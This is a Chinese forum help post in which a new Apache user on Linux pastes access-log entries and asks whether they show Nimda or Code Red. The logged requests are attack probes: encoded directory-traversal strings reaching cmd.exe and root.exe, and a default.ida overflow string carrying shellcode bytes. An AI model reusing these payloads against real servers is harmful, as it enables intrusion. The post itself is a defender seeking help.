linux会感染上nimda病毒吗？HELP！

7dehao

刚装好apache，昨天看access_log就看到下面一段，今天看还有，而且IP都在变的，我不知道这是Linux服务器感染了nimda还是局域网中的windows2000被感染了（局域网中的windows都有杀毒软件），而且时间集中在中午和半夜，一直到早上4点多，
"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-""-"
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-""-"
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dirHTTP/1.0" 404 249 "-" "-"
"GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir                  HTTP/1.0" 404 249 "-" "-"
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
                         /winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
                         HTTP/1.0" 404 249 "-" "-"
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
                         HTTP/1.0" 404 249 "-" "-"
同时还有一段
"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%u
cbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00
%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 1059 "-" "-"
是什么意思？是不是红色代码？
谁能帮帮我！